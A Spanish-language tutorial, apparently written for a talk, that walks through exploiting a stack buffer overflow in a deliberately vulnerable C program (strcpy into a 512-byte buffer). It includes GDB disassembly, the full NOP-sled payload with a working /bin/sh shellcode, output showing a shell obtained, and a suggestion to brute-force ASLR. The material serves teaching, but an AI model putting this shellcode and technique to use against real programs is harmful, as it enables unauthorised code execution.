Hace momentos, haciendo unos ejercicios, para mostrar en una charla que debo dar mañana sobre Buffer Overflow, me encontre con el siguiente ejemplo. Es un programita escrito en C, que pide dos argumentos de entrada. El primer argumento no nos permite modificar ni pisar ningún registro. Solo nos deja meter datos en el Stack. El segundo argumento nos permite modificar algunos registros bastante utiles, tales como EAX, EDX, ESI y también EBP, el cual nos puede llevar a modificar el mismo EIP! y apuntarlo a donde nosotros desiemos, como puede ser nuestra shellcode.
Código de fuentes
#include <stdio.h> #include <string.h> fvuln(char *temp1, char *temp2) { char name[512]; strcpy(name, temp2); printf("Hello, %s %s\n", temp1, name); } int main(int argc, char *argv[]) { fvuln(argv[1],argv[2]); printf("Bye %s %s\n", argv[1], argv[2]); return 0; }
Como vemos, existe la funcion fvuln, la cual crea un buffer de una logitud de 512 bytes, y utiliza la función altamente vulnerable strcpy. Sobre aqui trabajaremos.
La acción
Como primer punto debemos compilar este pequeño programa utilizando gcc (yo utilizo la versión 4.4.2 – el cual no utiliza cookies, ni nada de ello).
Bien ahora solo nos queda abrir GDB (o el debugger que mas les guste), y comenzar a trabajar (tengamos en cuenta que esto esta recontra hardcodeado). Y desensamblamos main y fvuln:
(gdb) disas main Dump of assembler code for function main: 0x08048412: push ebp 0x08048413 : mov ebp,esp 0x08048415 : and esp,0xfffffff0 0x08048418 : sub esp,0x10 0x0804841b : mov eax,DWORD PTR [ebp+0xc] 0x0804841e : add eax,0x8 0x08048421 : mov edx,DWORD PTR [eax] 0x08048423 : mov eax,DWORD PTR [ebp+0xc] 0x08048426 : add eax,0x4 0x08048429 : mov eax,DWORD PTR [eax] 0x0804842b : mov DWORD PTR [esp+0x4],edx 0x0804842f : mov DWORD PTR [esp],eax 0x08048432 : call 0x80483d4 0x08048437 : mov eax,DWORD PTR [ebp+0xc] 0x0804843a : add eax,0x8 0x0804843d : mov ecx,DWORD PTR [eax] 0x0804843f : mov eax,DWORD PTR [ebp+0xc] 0x08048442 : add eax,0x4 0x08048445 : mov edx,DWORD PTR [eax] 0x08048447 : mov eax,0x804853e 0x0804844c : mov DWORD PTR [esp+0x8],ecx 0x08048450 : mov DWORD PTR [esp+0x4],edx 0x08048454 : mov DWORD PTR [esp],eax 0x08048457 : call 0x804830c 0x0804845c : mov eax,0x0 0x08048461 : leave 0x08048462 : ret End of assembler dump. (gdb) disas fvuln Dump of assembler code for function fvuln: 0x080483d4 : push ebp 0x080483d5 : mov ebp,esp 0x080483d7 : sub esp,0x218 0x080483dd : mov eax,DWORD PTR [ebp+0xc] 0x080483e0 : mov DWORD PTR [esp+0x4],eax 0x080483e4 : lea eax,[ebp-0x208] 0x080483ea : mov DWORD PTR [esp],eax 0x080483ed : call 0x80482fc 0x080483f2 : mov eax,0x8048530 0x080483f7 : lea edx,[ebp-0x208] 0x080483fd : mov DWORD PTR [esp+0x8],edx 0x08048401 : mov edx,DWORD PTR [ebp+0x8] 0x08048404 : mov DWORD PTR [esp+0x4],edx 0x08048408 : mov DWORD PTR [esp],eax 0x0804840b : call 0x804830c 0x08048410 : leave 0x08048411 : ret End of assembler dump. (gdb)
Como vemos en 0x080483ed de fvuln hace un call la función strcpy, ya sabemos de que podemos vulnerarlo!.
Vamos a ejecutarlo, e intentaremos de ver que registros podemos escribir (para ahorrar tiempo les digo que a 520 caracteres el programa cae y pisa el registr que nos interesa EBP – Prueben lo que quieran, que EIP no es accesible directamente
).
(gdb) r `python -c 'print "\x41"*520+"\x42\x42\x42\x42"'` Program received signal SIGSEGV, Segmentation fault. 0xb7ef72b0 in strcpy () from /lib/libc.so.6 (gdb) i r eax 0xbfffea90 0xbfffea90 ecx 0xf78f118a 0xf78f118a edx 0x0 0x0 ebx 0xb7fc5ff4 0xb7fc5ff4 esp 0xbfffea70 0xbfffea70 ebp 0x42424242 0x42424242 esi 0xbfffea8f 0xbfffea8f edi 0x0 0x0 eip 0xb7ef72b0 0xb7ef72b0eflags 0x10246 [ PF ZF IF RF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33
Como vemos directamente no podemos sobreescribir ningún registro!, a excepto de EBP.
Bien el Extended Base Pointer puede llevarnos a ganar nuestra preciada shell. Lo que sucede es que cuando se ingresa a una función (fvuln en este caso), el programa debe saber donde se encontraba anteriormente para poder continuar. Entonces ese valor se pushea al stack y se levanta como EIP al salir del mismo. Nosotros podemos pisar EBP, luego pushear al stack un EIP falso y asi lograr nuestro objetivo. Vamos a poner un breakpoint en 0x080483f2 y ejecutamos pasandole 520 “\x41″ como padding, “\x42\x42\x42\x42″ como EBP y “\xff\xff\xff\xff” como EIP falso.Veamos que sucede:
(gdb) break *0x080483f2 Breakpoint 1 at 0x80483f2 (gdb) r a `python -c 'print "\x41"*520+"\x42\x42\x42\x42"+"\xff\xff\xff\xff"'` (gdb) s Single stepping until exit from function fvuln, which has no line number information. Hello, e/tty0/Security/Insecure-Programming/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB���� Program received signal SIGSEGV, Segmentation fault. 0xffffffff: Error while running hook_stop: Cannot access memory at address 0xffffffff 0xffffffff in ?? () (gdb) i r eax 0x243 0x243 ecx 0xbfffea58 0xbfffea58 edx 0xb7fc7320 0xb7fc7320 ebx 0xb7fc5ff4 0xb7fc5ff4 esp 0xbfffec90 0xbfffec90 ebp 0x42424242 0x42424242 esi 0x0 0x0 edi 0x0 0x0 eip 0xffffffff 0xffffffff eflags 0x10292 [ AF SF IF RF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33
Si prestan atención, habrán notado el siguiente mensaje: Cannot access memory at address 0xffffffff por lo cual quiere decir, que en algún momento el registro EIP tuvo el valor 0xffffffff que fue uno de los valores que le pasamos en el string que inyectamos. Bien!, eso era lo que buscabamos. Hagamos un backtrace para ver que es lo que hay:
(gdb) bt #0 0xffffffff in ?? () #1 0xbfffef00 in ?? () #2 0xbfffef2d in ?? () #3 0x0804848b in __libc_csu_init () Backtrace stopped: previous frame inner to this frame (corrupt stack?)
Era como pensabamos, el EIP en algún momento apunto a 0xffffffff. La cual es una posición de memoria inexistente y combinado con el overflow hiso crashear al programa.
Veamos la memoria, a ver si encontramos alguna otra cosa interesante:
(gdb) x/700h $esp 0xbfffef10: 0x6e49 0x6573 0x7563 0x6572 0x502d 0x6f72 0x7267 0x6d61 0xbfffef20: 0x696d 0x676e 0x612f 0x6f2e 0x7475 0x6100 0x4100 0x4141 0xbfffef30: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0xbfffef40: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0xbfffef50: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0xbfffef60: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0xbfffef70: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0xbfffef80: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0xbfffef90: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0xbfffefa0: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141
Aqui tenemos los 0x41 (“A” en hexadecimal), que hemos pasado como padding, podriamos reemplazar estos "\x41", por unos 0x90), y poner nuestra shellcode alli, para que EIP apunte a ella y nos regale una shell. La shellcode que voy a utilizar es para Linux x86, ejecuta /bin/sh y tiene una longitud de 24 bytes. Es la siguiente:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Ahora que ya tenemos nuestra shellcode podemos seguir armando nuestro string. El formato que vamos a utilizar va a ser:
496 bytes de NOP + 24 bytes de Shellcode + EBP + EIP = 520 Bytes
Como vimos en el punto anterior los "\x41" comienzan a partir de la posicion 0xbfffef30. Entonces alli deberia apuntar nuestro EIP. Vamos a ejecutar y ver que sucede:
(gdb) r a `python -c 'print "\x90"*496+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\x42\x42\x42\x42"+"\x30\xef\xff\xbf"'` Hello, e/tty0/Security/Insecure-Programming/a.out ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ̀BBBB0��� Executing new program: /bin/bash sh-4.0$
Y bien! hemos conseguido, la shell.
La verdad esta técnica esta buena para todos aquellos casos en los cuales no podemos escribir EIP directamente, si utilizamos ASLR, podriamos bruteforcearlo metiendolo en un bucle while, hasta que en algún momento caiga donde esta nuestra shellcode. Esto va a depender del básico principio de entropia. Dependiendo de nuestra memoria virtual, entre otras cosas. Espero que les haya gustado.

